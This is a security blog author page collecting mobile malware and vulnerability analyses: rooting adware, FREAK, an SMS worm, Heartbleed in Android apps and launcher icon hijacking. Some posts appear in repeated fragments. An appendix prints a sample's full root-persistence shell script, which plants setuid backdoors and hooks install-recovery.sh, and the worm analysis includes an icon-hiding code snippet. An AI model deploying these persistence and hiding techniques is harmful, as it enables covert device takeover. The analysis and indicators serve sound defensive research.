Security Bloggers Network

Posts by: "Yulong Zhang"

Kemoge: Another Mobile Malicious Adware Infecting Over 20 Countries

By Yulong Zhang On October 7, 2015 · Add Comment

Guaranteed Clicks: Mobile App Company Takes Control of Android Phones

By Yulong Zhang On September 22, 2015 · Add Comment

The malicious adware uses novel techniques to maintain persistence and obfuscate its activity, including installing system level services, modifying the recovery script executed on boot, and even tricking the user into enabling automatic app installation. We have observed over 300 malicious, illegitimate versions of Android apps being distributed, including: Amazon, Memory Booster, Clean Master, PopBird, YTD Video Downloader, and Flashlight.

By taking control of mobile devices via its adware, NGE Mobi is able to “guarantee” downloads of the apps it gets paid to promote. They also generate ad revenue by serving ads via full control of a victim’s device.

The core manner used by NGE Mobi is able to take over Android devices is shown in Figure 1.

Figure 1. Infection process

As shown in Figure 2, the infection range is wide, victims with 308 different phone models from more than 26 countries (and four continents) have been infected.

Figure 2. World infection map

The malicious adware has infected 20 different versions of Android, from 2.3.4 to 5.1.1. This covers almost all versions of Android.

FireEye started to monitor this malware family in August and the number of active, infected devices is still increasing.

In the following sections we provide analysis of this malicious adware family.

How the Malicious Adware Works

As shown in Figure 3, the attackers repackage popular apps and inject malicious logic and ad components into the apps. The samples are continuously evolving. More recent samples have even more powerful obfuscation and packing mechanisms. After propagating to the victim’s phone, the malware unpacks and releases the malicious payload along with the normal components of the repackaged app.

Figure 3. An overview of the malicious adware workflow

First, the malicious adware collects and uploads device information to its remote servers. It iterates the following domains and posts data once a connection is established:

aedxdrcb.com
hdyfhpoi.com
syllyq1n.com
wksnkys7.com

The adware encrypts and encodes some of the uploaded data using AES/CBC/NoPadding followed by Base64. None of the uploaded data is critical. It simply includes the device model details, MAC address, IMEI/IMSI, system and software info, and so on.

Next, it downloads an APK and dynamically loads logic to execute

This downloaded APK has the package name “com.dashi.rootmaster.demo” and after being loaded into the original app, it drives the process of rooting the victim’s phone.

After loading this root master, the app extracts a few native executables named “r1”, “r2”, “r3”, “r4”, “r5”, etc, and a shell script called “rsh”. Each “rx” binary corresponds to a root exploit, including but not limited to the following:

Framaroot
Root exploit targeting Mediatek mt65xx chips
put_user exploit
Mempodroid

After gaining root, the app executes the “rsh” script. The script is listed in the Appendix for reference. It performs the following actions:

Remount /system as writable
Implant SU daemon as the root backdoor into /system, and append a line into install-recovery.sh, which executes on boot
Set the install-recover.sh as immutable to avoid removal
Install APKs into /system partition to consistently and persistently control the victim phone

Now that the app has full control of the phone, it can use the victim’s phone for any purpose. The app never mounts the /system back to read-only, and allows anyone to invoke its root backdoor to obtain root privilege. Any other attackers landing on the same victim phone can control or make permanent damages to the phone. All communications use HTTP, so anyone can hijack the connection and take over the control of this large botnet.

With root privilege on our device, we observed the adware automatically download and install a browser app named “Cool Browser”.

This browser app serves adult content in its own home screen and promote apps on the victims' phones. It also puts pornographic videos and app ads as shortcuts on the phone’s home screen, as shown in Figure 4. It is well known that porn websites and third-party apps outside Google Play may contain malicious code, so this again opened further attack surface on the victim’s phone.Figure 4. The screenshots of “Cool Browser” on home screen and its installed shortcuts

Regardless of whether the rooting process is successful, this malicious adware family utilizes Android Accessibility Service to check if the current window is the Android installation prompt. If so, it will force click the install button.

Figure 5. The screenshots of the added malicious accessibility entries from two different samples

Figure 5 shows the screenshots of the added accessibility entries from two samples of this malicious adware family. The description of the accessibility is totally misleading and does not mention that it will force click the install button. What’s more, the samples themselves lure victims to enable the accessibility entry, as shown in Figure 6.

Figure 6. The sample prompts victim to enable the malicious accessibility service

If the victim follows the instructions and enables the corresponding accessibility service, the installation flow of any app promoted by the samples are automated as follows:

If the victim clicks the ad to download an APK and trigger the installation prompt, the malicious accessibility service automatically clicks “install” and “yes” on behalf of the user.
If the victim clicks the ad but the ad is pointing to a Google Play link, the malicious accessibility service automatically clicks “install” and “accept” when Android prompts the permission list for user to confirm.

Therefore, even if the samples fail to root the phone, they can still automatically install any app without user consent.

In addition to normal Java code and native code obfuscation, the malicious adware obfuscates itself using the following methods to increase the difficulty of detection and reverse engineering:

It uses packers to pack executables. In the most recent samples, all Java and native components are encrypted and extracted at runtime.

Some payloads are named with dot (“.”) prefix to evade manual analysis. Most payloads are named using meaningless, random strings. Some executables are named to disguise as other file types or even system components.

Once executed, most executables and payloads containing exploits will be removed.

The implanted system services have deceiving package names like “com.android.theme.manages” and “com.android.camera.update”, pretending to be one of the OEM Android system services.

Attacker Analysis

We have gathered 338 samples in the wild that fall into this malicious adware family. Table 1 lists the certificates signing most of the samples:

Certificate Info	Number of Samples	Percentage
CN=google, OU=google, O=android, C=CN	105	31.07%
CN=ngsteam, OU=ngsteam, O=xinyinhe, C=CN	72	21.30%
CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown	57	16.86%

Table 1. Certificate info and stats among our collected samples

Our analysis revealed the following information:

There are simplified Chinese characters and Chinese pinyin in the code, so the attacker may be coming from China.
One of the popular certificate has the CN field as “ngsteam” (“ng” stands for “New Galaxy”, the English translation of “xinyinhe”) and the O field is “xinyinhe”.
The root exploit payload, Root Master, has someone with email in xinyinhe.com domain participating in the developing.
xinyinhe.com has a subdomain named root.xinyinhe.com, serving root tools similar to the payload used in the samples.

This evidence points to the Chinese mobile ad promotion company, xinyinhe (with their official website hosted at www[.]xinyinhe[.]com and www[.]ngemobi[.]com. The first website was taken down before we wrote this blog, and the second got taken down while drafting this post).

We obtained this company’s app repackaging tool in Figure 3 and the private key corresponding to the first certificate in Table 1 on a server without authentication protection. This is key evidence that proves that this Chinese company is behind the infections.

The following text was pulled from their website:

“Founded on June 21, 2013, the company has extended its business and built branch offices in Beijing, Shenzhen, Shanghai, and Singapore. In November 2014, we were invested 20 million dollars by Legend Capital with 100 million dollars valuation. Just in one year, the company has received great reputation and investment, which created the miraculous 50 times increase.”

“Optimized operation methods and users guarantee releasing the games easily. Release to users in 50 countries and support payments to 170 countries worldwide.”

“Long term cooperation with more than 120 Content Providers. Perfect product localization team provide the translation, polishing, beautification, optimization etc. which will quickly make your application fit for overseas customers.”

It appears that the company spent lots of effort and resources on marketing and promotion, explaining why the infection is so global. Consequently, the large number of infected phones is also helping the company grow.

Our investigation shows that the samples have been propagated via numerous channels. The major channel is through the giant ad cooperative network that xinyinhe participates in (ad vendors in the network promote services and products for each other). We also witnessed a few posts on popular social networks (Facebook, Twitter, etc.) with adult content containing links to xinyinhe samples.

Conclusion

This is a worldwide, spreading malicious adware family with a high threat, likely controlled by a Chinese organization. We suggest that you:

Never click on suspicious links from emails/SMS/websites/advertisements.
Don’t install apps outside the official app store.
Keep Android devices updated to avoid being rooted by public known bugs. (Note: The malware can not root devices with Android OS 5.0 and above, as of now. However, because the root program is downloaded on runtime, we cannot rule out the possibility that the attackers can enhance the root programs. So, upgrading to the latest version of OS will provide some security but is not a guarantee that you will remain completely safe from this malware.)

To detect and defend against such attacks, we advise our customers to deploy a mobile security solution to gain visibility of threats in their user base, and proactively hunt down devices that have been compromised. In addition, we advise our customers with NX appliances to ensure that WiFi traffic is scanned by NX appliances to extend coverage to mobile devices.

Any affected user may have inadvertently compromised their user credentials for some online services. We recommend those users change their passwords for any online services such as iTunes, online banking, email, and work accounts.

Appendix I. Shell Script Executed by One of the Samples

#!/system/bin/sh
PATH='/system/bin';
mount -o remount,rw /system;
mount -o remount rw /system;
echo -e '/system/bin/daemonuis --auto-daemon &' >> /system/etc/install-recovery.sh
chmod 755 /system/etc/install-recovery.sh;
cat /data/data/com.locker.maboo.tow/app_libo/uis > /system/bin/uis;
cat /system/bin/uis > /system/bin/daemonuis;
chmod 6777 /system/bin/daemonuis;
chown 0.0 /system/bin/daemonuis;
chown 0.0 /system/bin/uis;
chmod 6777 /system/bin/uis;
mount -o remount,rw /system;
mount -o remount rw /system;
/data/data/com.locker.maboo.tow/files/.sys.apk -i -a /system/etc/install-recovery.sh;
echo -e '#!/system/bin/sh; /system/xbin/.ext.base &' >> /system/etc/install-recovery.sh;
chmod 755 /system/etc/install-recovery.sh;
/data/data/com.locker.maboo.tow/files/.sys.apk +i +a /system/etc/install-recovery.sh;
cat /data/data/com.locker.maboo.tow/files/.service > /system/xbin/.ext.base;
chown 0.0 /system/xbin/.ext.base;
chmod 6777 /system/xbin/.ext.base;
cat /data/data/com.locker.maboo.tow/files/.client > /system/xbin/.b;
chown 0.0 /system/xbin/.b;
chmod 6777 /system/xbin/.b;
cat /data/data/com.locker.maboo.tow/files/.df > /system/xbin/.df;
chmod 777 /system/xbin/.df;
chmod 777 /data/data/com.locker.maboo.tow/files/.center.tapk;
touch /system/app/cameraupdate.apk;
chown 0.0 /system/app/cameraupdate.apk;
chmod 0644 /system/app/cameraupdate.apk;
cat /data/data/com.locker.maboo.tow/files/.center.tapk > /system/app/cameraupdate.apk;
pm disable com.android.camera.update;
sleep 1;
pm enable com.android.camera.update;
cat /data/data/com.locker.maboo.tow/files/.sys.apk>/system/xbin/.sys.apk;
chmod 777 /system/xbin/.sys.apk;
/data/data/com.locker.maboo.tow/files/.sys.apk +i +a /system/xbin/.sys.apk;
chmod 777 /data/data/com.locker.maboo.tow/files/.dlme.apk;
touch /system/app/ThemeManags.apk;
chown 0.0 /system/app/ThemeManags.apk;
chmod 0644 /system/app/ThemeManags.apk;
cat /data/data/com.locker.maboo.tow/files/.dlme.apk > /system/app/ThemeManags.apk;
pm disable com.android.theme.manages;
sleep 1;
pm enable com.android.theme.manages;
chmod 777 /data/data/com.locker.maboo.tow/files/.dler.apk;
pm install -r /data/data/com.locker.maboo.tow/files/.dler.apk;

Appendix II. Examples of Some Samples

Package Name: com.locker.maboo.tow
SHA256: 12b8da40ec9e53a83a7c4b1d490db397730123efa5e8ed39ee596d3bae42f80d

Package Name: com.tmdfkslakssspp111.ivityfffds1133
SHA256: 8b5b898c7ad2fc6b516800f411b7181877a89124a94ba8a9fa0e974972c67553

Package Name: com1.xiaoao2.FruitSingle
SHA256: d65696c077b480bb0afab2390f1efd37d701ca2f6cbaa91977d4ac76957438c7

Package Name: com.mobilefish.pig.enpais
SHA256: 3a5bbe5454124ba5fbaa0dc7786fd2361dd903f84ccf65be65b0b0b77d432e6e

Package Name: com.adad.flashlight
SHA256: b05013bbabf0a24a2c8b9c7b3f3ad79b065c6daaaec51c2e61790b05932dbb58

Package Name: com.liuximnb.videokl2
396324dc3f34785aca1ece255a6f142f52e831b22bf96906c2a10b61b1da4713

Package Name: com.4puBX.Bu1q0
SHA256: 98bdad683b0ae189ed0fa56fb1e147c93e96e085dff90565ee246a4f6c4e2850

Package Name: com.sQ1z7.JXhkN
SHA256: f46c21a2976af7ba23e0af54943eacdaad2fd0b3108fde6d1502879fe9c83d07

Package Name: com.cg.wifienhancer
SHA256: b3c3d131200369d1c28285010b99d591f9a9c0629b0ba9fedd1b4ffe0170cf4c

Package Name: com.BmiZX.p6l9v
SHA256: 0a63ca301d97930eb8352c0772fb39015e4b89cd82e72391213ee82414e60cf8

Read Full Article →

FREAK Out on Mobile

By Yulong Zhang On March 17, 2015 · Add Comment

Recent disclosure of the FREAK attack [1] raises security concerns on TLS implementations once again after Heartbleed [2]. However, freakattack.com devotes client-side security checks to various browsers only. In this blog, we examine iOS and Android apps for their security status against FREAK attacks as clients.

A FREAK attack “allows an attacker to intercept HTTPS connections between vulnerable clients and servers and force them to use weakened encryption, which the attacker can break to steal or manipulate sensitive data.”[1] For a FREAK attack to succeed, the server has to accept RSA_EXPORT cipher suites and the client has to allow temporary RSA keys in non-export ciphersuites. The attacker may therefore reduce the connection’s encryption strength for easier data theft.

As of March 4, both of the latest Android and iOS platforms are vulnerable to FREAK [3]. FREAK is both a platform vulnerability and an app vulnerability since both iOS and Android apps may contain vulnerable versions of the OpenSSL library themselves. Even after vendors patch Android and iOS, such apps are still vulnerable to FREAK when connecting to servers that accept RSA_EXPORT cipher suites. That’s why some iOS apps are still vulnerable to FREAK attack after Apple fixed the iOS FREAK vulnerability in iOS 8.2 [4] on March 9.

After scanning 10,985 popular Google Play Android apps with more than 1 million downloads each, we found 1228 (11.2%) of them are vulnerable to a FREAK attack because they use a vulnerable OpenSSL library to connect to vulnerable HTTPS servers. These 1228 apps have been downloaded over 6.3 billion times. Of these 1228 Android apps, 664 use Android’s bundled OpenSSL library and 564 have their own compiled OpenSSL library. All these OpenSSL versions are vulnerable to FREAK.

On the iOS side, 771 out of 14,079 (5.5%) popular iOS apps connect to vulnerable HTTPS servers. These apps are vulnerable to FREAK attacks on iOS versions lower than 8.2. Seven these 771 apps have their own vulnerable versions of OpenSSL and they remain vulnerable on iOS 8.2.

Vulnerability Stats

An attacker may launch a FREAK attack using man-in-the-middle (MITM) techniques to intercept and modify the encrypted traffic between the mobile app and backend server. The attacker can do this using well-known techniques such as ARP spoofing or DNS hijacking. Without necessarily breaking the encryption in real time, the attacker can record weakly encrypted network traffic, decrypt it and access the sensitive information inside.

Table 1 plots the number of vulnerable Android and iOS apps in security- and privacy-sensitive categories. Less sensitive categories such as Sports and Games are not included here. As illustrated by the red bars, app developers are fixing the FREAK vulnerability. For Android apps, we further plotted the download numbers of vulnerable apps in those same categories in Table 2. The blue bars denote the download numbers of apps still vulnerable as of March 10.

Table 1. Number of apps vulnerable to FREAK

Table 2. Number of Android app downloads (logarithmic scale) vulnerable to FREAK

Attack Scenario

As an example, an attacker can use a FREAK attack against a popular shopping app to steal a user’s login credentials and credit card information. Other sensitive apps include medical apps, productivity apps and finance apps. Figure 1 and Figure 2 show the clear text communications between the vulnerable app and its paired server after being decrypted by the attacker.

Figure 1. Decrypted login credentials

Figure 2. Decrypted credit card information

Mobile apps have become important frontends and valuable targets for attackers. The FREAK attack poses severe threats to the security and privacy of mobile apps. We encourage app developers and website admins to fix this issue as soon as possible.

References

[1] https://freakattack.com/

[2] http://heartbleed.com/

[3] http://www.engadget.com/2015/03/04/freak-flaw-ios-android-ssl-bug/

[4] https://support.apple.com/en-us/HT204423

Read Full Article →

SMS Worm Runs Wild in Singapore

By Yulong Zhang On November 25, 2014 · Add Comment

Summary

SingCert, Singapore’s Computer Emergency Response Team, published an advisory yesterday identifying a malicious Android app that spreads via SMS. Once installed, the malware simply displays a photo to the user (shown in Figure. 1), which, once the user clicks the back or home button, hides itself from the user interface forever. However, the now- hidden malware will automatically send text messages every eight seconds to people on the victim’s contact list (shown in Figure. 2) and launch ad libraries every five minutes.

These text messages contain a shortened URL luring SMS receivers to click it and install the harmless-looking app PhotoView.apk – the malware – presumably so the recipient can view a photo of them. The malware sends out SMS messages in a similar fashion to the well-known ransomware “Koler” but has a totally different implementation.

Figure 1: The photo displayed when the victim launches the app. It does nothing but show this photo, and, once the user clicks the back or home button, the app icon disappears forever.

Figure 2: Screenshot of the phishing SMS sent from the victim

Code Analysis

Upon the user closing out the application after opening it, the first thing the malware does is remove the icon from the UI:

setComponentEnabledSetting(getComponentName(),

PackageManager.COMPONENT_ENABLED_STATE_DISABLED,

PackageManager.DONT_KILL_APP);

After that, it sets a recurring alert to repeatedly (every five minutes) launch ad libraries, including: StartApp, Admob, Inmobi, MobFox, Millennialmedia, Umeng, Airpush, and more. We extracted all the ad developer IDs (used for the remote ad servers to identify and reward the developer integrating the corresponding ad libraries in the app) that belong to the malware author, as shown below.

Ad library	Ad Developer ID
StartApp	DeveloperID: 104434853 ApplicationID: 206017540
Admob	admob_banner: ca-app-pub-2544528252222734/8978623200 admob_inter: ca-app-pub-2544528252222734/2932089606
Inmobi	inmobi_id: a0ca224185c4429bbffa34967dc3a4b7
MobFox	mobfox_pub_id: 5d9c3d6079153a2188b04aa62d7db679
Millennialmedia	BANNER_APID: 175010 INTERSTITIAL_APID: 175021 INTERSTITIAL_TABLET_APID: 175020
Umeng	UMENG_APPKEY: 541d4204fd98c518c202eb1b UMENG_CHANNEL: 6868android_mms2.0
Airpush	APPID: 143053 APIKEY: 1352602889123642875
Waps	waps_id: 2de6b5c3f12f6bf84dac1b3d6039d255
TapForTap	TapForTap_id: 44f33d03caf6bfac1426e6230b1cf5e9

As of this writing, those Ad Developer IDs are still alive. Such info can help ad providers and security vendors to further identify and block malware from the same developer or organization.

Next, the malware checks to see if the network connection is active. If so, it tries to load three parameters from the SharedPreference object. If it’s launched for the first time (in which case the SharedPreference would be empty), it finds the following three parameters and saves them in the SharedPreference object:

● “u” => URL (URL to be sent in the SMS)

● “t” => text (text body to be sent in the SMS)

● “n” => total (the number of contacts to send SMS to)

Afterwards, it calls a method named “lunxun()” – which means polling in Chinese. If it’s the first launch of the malware, it scans the contact list and randomly selects at most n phone numbers. Otherwise it sets an alert to repeatedly wake itself up and send texts and URLs to those randomly selected contacts.

The spamming SMS follows this phishing formula:

“XXX (victim’s name, obtained from the contact list) Is this your photo? (spamming text) http://url7[.]me/tiNk1 (shortened spamming URL).”

The spamming text plays off of contacts sharing and viewing photos of each other, tricking those randomly selected victim contacts to download and install the malware by clicking the URLs above and allowing further spread. Currently the malicious domain hosting the above URLs has been taken down.

To avoid detection, the malware’s activity remains disabled (keeping the app icon unseen as well) even if the victim reboots the device. However, since the user launched the app once, the Android system allows the recurring alert service to repeatedly wake up the malware’s receiver to send SMS and serve ads.

Suggestions

■ Never click on suspicious links from emails/SMS/websites. Although the domain has been taken down so that this malware sample will not work anymore, there are still lots of malware in the wild spread via spamming/phishing links.

■ Install a mobile security app that can detect and clean such malware immediately. FireEye Mobile Security products can detect the existence of such malware and clean them immediately, or use FireEye Mobile Threat Prevention to scan suspicious apps.

Appendix: Malware Information and Domain Registration Information

Apk information

MD5: f6d3a35be0366eb994a0425a15871f5b

SHA256: 8a50fa660c0d926bc48552c93ebda7a3f1bd119d14b89714d22f04e4e2564df8

Package Name: com.android.mms20

Domain Information

Domain Name: 6868ANDROID.COM

Creation Date: 2014-11-13T09:30:00.00Z

Registrar Registration Expiration Date: 2015-11-13T09:30:00.00Z

Registrant Name: ZHUHAI JIANG

Registrant Street: QIXINGQUJINGXINGLU2HAO

Registrant City: GUILIN

Registrant State/Province: GUANGXI

Registrant Postal Code: 541000

Registrant Country: CN

Registrant Phone: +86.18256345289

Registrant Email: DOAPPS@163.COM

Read Full Article →

SMS Worm Runs Wild in Singapore

By Yulong Zhang On November 25, 2014 · Add Comment

Summary

Figure 1: The photo displayed when the victim launches the app. It does nothing but show this photo, and, once the user clicks the back or home button, the app icon disappears forever.

Figure 2: Screenshot of the phishing SMS sent from the victim

Code Analysis

Upon the user closing out the application after opening it, the first thing the malware does is remove the icon from the UI:

setComponentEnabledSetting(getComponentName(),

PackageManager.COMPONENT_ENABLED_STATE_DISABLED,

PackageManager.DONT_KILL_APP);

Ad library	Ad Developer ID
StartApp	DeveloperID: 104434853 ApplicationID: 206017540
Admob	admob_banner: ca-app-pub-2544528252222734/8978623200 admob_inter: ca-app-pub-2544528252222734/2932089606
Inmobi	inmobi_id: a0ca224185c4429bbffa34967dc3a4b7
MobFox	mobfox_pub_id: 5d9c3d6079153a2188b04aa62d7db679
Millennialmedia	BANNER_APID: 175010 INTERSTITIAL_APID: 175021 INTERSTITIAL_TABLET_APID: 175020
Umeng	UMENG_APPKEY: 541d4204fd98c518c202eb1b UMENG_CHANNEL: 6868android_mms2.0
Airpush	APPID: 143053 APIKEY: 1352602889123642875
Waps	waps_id: 2de6b5c3f12f6bf84dac1b3d6039d255
TapForTap	TapForTap_id: 44f33d03caf6bfac1426e6230b1cf5e9

As of this writing, those Ad Developer IDs are still alive. Such info can help ad providers and security vendors to further identify and block malware from the same developer or organization.

● “u” => URL (URL to be sent in the SMS)

● “t” => text (text body to be sent in the SMS)

● “n” => total (the number of contacts to send SMS to)

The spamming SMS follows this phishing formula:

“XXX (victim’s name, obtained from the contact list) Is this your photo? (spamming text) http://url7[.]me/tiNk1 (shortened spamming URL).”

Suggestions

Appendix: Malware Information and Domain Registration Information

Apk information

MD5: f6d3a35be0366eb994a0425a15871f5b

SHA256: 8a50fa660c0d926bc48552c93ebda7a3f1bd119d14b89714d22f04e4e2564df8

Package Name: com.android.mms20

Domain Information

Domain Name: 6868ANDROID.COM

Creation Date: 2014-11-13T09:30:00.00Z

Registrar Registration Expiration Date: 2015-11-13T09:30:00.00Z

Registrant Name: ZHUHAI JIANG

Registrant Street: QIXINGQUJINGXINGLU2HAO

Registrant City: GUILIN

Registrant State/Province: GUANGXI

Registrant Postal Code: 541000

Registrant Country: CN

Registrant Phone: +86.18256345289

Registrant Email: DOAPPS@163.COM

Read Full Article →

If an Android Has a Heart, Does It Bleed?

By Yulong Zhang On April 22, 2014 · Add Comment

The OpenSSL Heartbleed vulnerability “allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read” [1]. Heartbleed surprised the public by allowing attackers to steal sensitive information from vulnerable websites by sending crafted SSL heartbeat messages. However, due to the fact that servers can send heartbeats to clients as well, malicious servers can, in turn, attack vulnerable clients and steal sensitive information. For the Android platform, we find that roughly 150M downloads of Android apps contain OpenSSL libraries vulnerable to Heartbleed.

Currently there are about 17 antivirus apps on Google Play branded as “Heartbleed detectors”. Six of them scan the OpenSSL library belonging to the Android platform for vulnerabilities. Unfortunately, this method isn’t sufficient for detecting the Heartbleed vulnerability on Android. Except in limited Android versions (mainly 4.1.0-4.1.1), the majority of Android platforms are not vulnerable, as most versions use OpenSSL libraries that are not vulnerable or simply have the OpenSSL heartbeat functionality disabled.

However, Android apps frequently use native libraries, which either directly or indirectly leverage vulnerable OpenSSL libraries. Therefore, even though the Android platform itself is not vulnerable, attackers can still attack those vulnerable apps. They can hijack the network traffic, redirect the app to a malicious server and then send crafted heartbeats messages to the app to steal sensitive memory contents.

We studied apps with vulnerable OpenSSL libraries and confirmed this attack. Most of the vulnerable apps are games, and some are office-based applications. Although there is not much valuable information in the game apps, attackers can steal OAuth tokens (access tokens and refresh tokens) to hijack the game accounts; as such, the information might be useful for hijacking those linked social network accounts with incorrect configurations. Office apps vulnerable to Heartbleed are much more dangerous due to further potential data leakage.

During our investigation of the office apps that contains a vulnerable version of OpenSSL, we were surprised that they were not vulnerable to the Heartbleed attack. How could it be? A deeper look shows that these apps either make a mistake in the native code linkage, or just contain dead code. Therefore, when they try to invoke SSL functions, they directly use the non-vulnerable OpenSSL library contained within the Android OS, instead of using the vulnerable library provided by the app. The linkage mistake is common for Android applications built with native code. As such, the side-effect of this mistake helps reduce the apps’ overall risk profile.

Of the 17 Heartbleed detector apps on Google play, only 6 detectors check installed apps on the device for Heartbleed vulnerability. And of those 6, 2 report all apps installed as “Safe,” including those we confirmed as vulnerable. One detector doesn’t show any app scan results and another one doesn’t scan the OpenSSL version correctly. Only 2 of them did a decent check on Heartbleed vulnerability of apps. Although they conservatively labeled some non-vulnerable apps as vulnerable, we agree it is a viable report which highlights both the vulnerabilities and the linkage mistakes. We’ve also seen several fake Heartbleed detectors among the 17 apps, which only serve as adware and don’t perform real detections or display detection results to users.

On April 10th, we scanned more than 54K Google Play apps (each with over 100K downloads) and found that there were at least 220 million downloads affected by the Heartbleed vulnerability. We have notified some of the app developers and library vendors about the OpenSSL Heartbleed vulnerability found in their products. Fortunately, it seems most app developers and library vendors take Heartbleed seriously, as we have started to see apps updated with proper fixes. The total number of vulnerable apps download has since decreased to 150 million on April 17th.

[1] Vulnerability Summary for CVE-2014-0160

Read Full Article →

If an Android Has a Heart, Does It Bleed?

By Yulong Zhang On April 22, 2014 · Add Comment

[1] Vulnerability Summary for CVE-2014-0160

Read Full Article →

If an Android Has a Heart, Does It Bleed?

By Yulong Zhang On April 22, 2014 · Add Comment

Read Full Article →

Occupy Your Icons Silently on Android

By Yulong Zhang On April 14, 2014 · Add Comment

Read Full Article →

Occupy Your Icons Silently on Android

By Yulong Zhang On April 14, 2014 · Add Comment

FireEye mobile security researchers have discovered a new Android security issue: a malicious app with normal protection level permissions can probe icons on Android home screen and modify them to point to phishing websites or the malicious app itself without notifying the user. Google has acknowledged this issue and released the patch to its OEM partners.

Normal vs. Dangerous Permissions: A Background

Android Open Source Project (AOSP) classifies Android permissions into several protection levels: “normal”, “dangerous”, “system”, “signature” and “development” [1][2][3].

Dangerous permissions “may be displayed to the user and require confirmation before proceeding, or some other approach may be taken to avoid the user automatically allowing the use of such facilities”. In contrast, normal permissions are automatically granted at installation, “without asking for the user's explicit approval (though the user always has the option to review these permissions before installing)” [1].

On the latest Android 4.4.2 system, if an app requests both dangerous permissions and normal permissions, Android only displays the dangerous permissions, as shown in Figure 1. If an app requests only normal permissions, Android doesn’t display them to the user, as shown in Figure 2.

Figure 1. An Android app asks for one dangerous permission (INTERNET) and some normal permissions (Launcher’s READ_SETTINGS and WRITE_SETTINGS). Android doesn’t notify the user about the normal permissions.

Figure 2. An Android app asks for normal permissions (Launcher’s READ_SETTINGS and WRITE_SETTINGS) only. Android doesn’t show any permission to the user.

Normal Permissions Can Be Dangerous

We have found that certain “normal” permissions have dangerous security impacts. Using these normal permissions, a malicious app can replace legit Android home screen icons with fake ones that point to phishing apps or websites.

The ability to manipulate Android home screen icons, when abused, can help an attacker deceive the user. There’s no surprise that the com.android.launcher.permission.INSTALL_SHORTCUT permission, which allows an app to create icons, was recategorized from “normal” to “dangerous” ever since Android 4.2. Though this is an important security improvement, an attacker can still manipulate Android home screen icons using two normal permissions: com.android.launcher.permission.READ_SETTINGS and com.android.launcher.permission.WRITE_SETTINGS. These two permissions enable an app to query, insert, delete, or modify the whole configuration settings of the Launcher, including the icon insertion or modification. Unfortunately, these two permissions have been labeled as “normal” since Android 1.x.

As a proof of concept attack scenario, a malicious app with these two permissions can query/insert/alter the system icon settings and modify legitimate icons of some security-sensitive apps, such as banking apps, to a phishing website. We tested and confirmed this attack on a Nexus 7 device with Android 4.4.2. (Note: The testing website was brought down quickly and nobody else ever connected to it.) Google Play doesn’t prevent this app from being published and there’s no warning when a user downloads and installs it. (Note: We have removed the app from Google Play quickly and nobody else downloaded this app.)

Lastly, this vulnerability is not limited to Android devices running AOSP. We have also examined devices that use non-AOSP Launchers, including Nexus 7 with CyanogenMod 4.4.2, Samsung Galaxy S4 with Android 4.3 and HTC One with Android 4.4.2. All of them have the protection levels of com.android.launcher.permission.READ_SETTINGS and WRITE_SETTINGS as “normal”.

Google acknowledged this vulnerability and has released the patch to its OEM partners. Many android vendors were slow to adapt security upgrades. We urge these vendors to patch vulnerabilities more quickly to protect their users.

References: